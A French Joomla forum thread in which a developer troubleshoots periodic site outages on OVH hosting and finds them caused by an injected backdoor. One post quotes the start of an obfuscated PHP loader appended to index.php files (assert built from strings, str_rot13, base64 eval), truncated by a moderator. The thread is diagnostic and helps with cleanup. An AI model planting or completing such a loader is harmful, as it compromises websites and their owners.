[RÉGLÉ] Plantage sites périodiquement.

[_Romain]

Bonjour,

Nous somme face à un problème particulier sur plusieurs de nos site web.

Nous avons un serveur dédié sur OVH, que nous utilisons pour les développements des sites. Sur ce serveur dédié nous avions 4 Joomla et 1 prestashop en dev. Un jour nous avons tout nos site qui étaient injoignable, "err_empty_reponse" sur Chrome.
Impossible d'acceder au front et backoffice des sites en Joomla et prestashop.
Par contre, si je met un fichier .php ou .html simple, aucun problème pour afficher le contenu.
J'ai également remarqué qu'en relançant Apache2 en ligne de commande sur notre dédié, les sites chargent correctement puis rebug ensuite.
Mais se problème n'est pas permanent, seulement à certains moments. Je n'ai pas réussi à définir un rythme de plantage ou des heures précises.

Donc les sites sont revenu au bout d'un moment et comme nous avions fini un site d'un client nous l'avons backup et transféré sur un mutualisé OVH qui possédait déjà un site joomla. Et la grosse surprise, quand nos sites sur le dédié plante, le nouveau site sur le mutualisé plante également alors que l'autre fonctionne normalement.

Schéma du mutualisé :
/www/ -> Site 1, installé il y a 1 an
/www2/ -> Site 2, installé depuis le bug du serveur de dev.

Quand le dédié plante, le Site 1 fonctionne très bien, alors que le Site 2 bug. J'ai bien vérifier qu'aucun fichiers du Site 2 ne soit récupéré de notre serveur de dev.

Mais fait encore plus étrange, nous venons de mettre en ligne un autre site joomla qui était en dev, sur une machine chez notre client, et il fonctionne parfaitement quand nos site sur le dédié plante.

J'ai appelé OVH plusieurs fois, vérifié les logs erreur d'apache2 mais rien a faire, aucune trace de ce bug.

Auriez-vous une explication ?

Bonne journée,
Romain.

[cavo789]

Re : Plantage sites périodiquement.

Bonjour

Ton problème semble absolument et totalement lié à ton hébergeur. Tu le sais, sans nul doute. Ta question n'est même pas lié à Joomla! mais à un fournisseur de services.

L'explication, à mon sens, seul l'hébergeur peut la fournir. Lui seul dispose, en outre, des logs serveurs pour expliquer cette interruption de service.

A moins que quelqu'un n'ait eu une expérience similaire à la tienne, je pense que tu ne devrais pas trop t'attendre à une réponse sur ce forum.

[_Romain]

Re : Plantage sites périodiquement.

Bonjour,
Merci pour la réponse.

J'ai appelé 3 fois OVH pour se problème, à chaque fois il me dise que ma machine se porte bien et qu'il n'y a rien dans mes logs.

[Wed Jun 22 12:22:29 2016] [error] [client x.x.x.x] [host www.monsite.fr] Negotiation: discovered file(s) matching request: /home/user/www2/index.html (None could be negotiated).
[Wed Jun 22 12:33:34 2016] [error] [client x.x.x.x] [host www.monsite.fr] Negotiation: discovered file(s) matching request: /home/user/www2/index.html (None could be negotiated).

Voici les seules erreurs que j'ai dans mon log d'error d'apache que ce soit sur notre dev' ou sur OVH.

Est-ce que la BDD pourrai etre corrompu, est-ce que c'est un script qui fait planté apache2 sans mettre de log.
Notre site est un joomla dernière version de base avec un template Shape5. Aucun dev' n'est fait dessus.

[cavo789]

Re : Plantage sites périodiquement.

Salut

Je pense qu'OVH raconte des idioties.

Petite recherche Google sur "apache log Negotiation: discovered file" : http://serverfault.com/questions/372...tiation-failed

Vérifie que tu as bien matché les extensions php avec x-httpd-php.

Reste que, peu importe ce que pourrait raconter OVH, cela n'a rien à voir avec le CMS (quel qu'il soit) ;-)

[webcrea]

Re : Plantage sites périodiquement.

Petite précision, que cela plante sur le mutualisé, cela peut effectivement provenir de la config apache ou d'un logiciel installé. En revanche sur le dédié, cela peut très bien provenir d'un hack ou d'une mauvaise config et tu es seul responsable car c'est toi qui configure la machine.
Je pencherais plutôt pour la base de données car si c'était un problème de cms, un seul planterait pas les 2.
Est-ce que tu as des liens vers tes sites ?
Est-ce que quand tu bascules sur le mutu tu bascules aussi la babase ?

[_Romain]

Re : Plantage sites périodiquement.

Petite précision, que cela plante sur le mutualisé, cela peut effectivement provenir de la config apache ou d'un logiciel installé. En revanche sur le dédié, cela peut très bien provenir d'un hack ou d'une mauvaise config et tu es seul responsable car c'est toi qui configure la machine.
Je pencherais plutôt pour la base de données car si c'était un problème de cms, un seul planterait pas les 2.
Est-ce que tu as des liens vers tes sites ?
Est-ce que quand tu bascules sur le mutu tu bascules aussi la babase ?

Je sais pas si c'est la base de donnée, j'y es pensé, mais quand fait un "/etc/init.d/apache2 reload" le site se charge correctement.
J'ai aussi PhpMyAdmin qui tourne sur le serveur, et quand j'ai les site qui bug, phpmyadmin fonctionne parfaitement.
Pour les sites en Joomla, j'utilise Akeeba Backup pour transférer tout le site. Donc sur le mutualisé j'ai également la BDD.

Pour notre site, qui est en carafe depuis ce matin, le lien est ici : http://www.enerkite-challenge.fr/

Les gars d'OVH me disent que j'ai trop de fichier qui charge, que ça met trop de temps et donc ça reset la connexion. J'y crois pas du tout car le site fonctionne parfaitement à d'autre moment ...

[_Romain]

Re : Plantage sites périodiquement.

J'ai trouvé ce code a la fin de toutes mes pages index.php des sites en joomla qui ont des problèmes. Depuis que je l'ai enlevé, le site charge, mais il met entre 45sec et 1min avant de commencer a afficher quelques choses.

//###=CACHE START=###
error_reporting(0);
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as";$strings .= "sert"; $strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2 I0XPEcLaLcXFO7VTIwnT8tWTy

[modo] Nettoyage de code; virus [/modo]
//###=CACHE END=###

[webcrea]

Re : Plantage sites périodiquement.

C'est moyen effectivement: nécessite un téléchargement du joomla sur ton poste, un écrasement par une version saine (copier-coller ... Remplacer) et une recherche du motif en local dans chaque fichier qui ne feraient pas partie de Joomla.

et il ne doit y avoir un index.php que :
- à la racine
- dans administrator
- dans chaque template

Sinon c'est un index.html

[cavo789]

Re : Plantage sites périodiquement.

Ce que tu as posté ci-dessus, c'est clairement un virus; aucun doute là-dessus.

Mais ce que tu expliquais, les messages dans le log, pour moi, c'est autre chose.

Mais oui, ton site est hacké.

[_Romain]

Re : Plantage sites périodiquement.

Merci pour vos réponse. J'ai clean le site et tout semble fonctionner.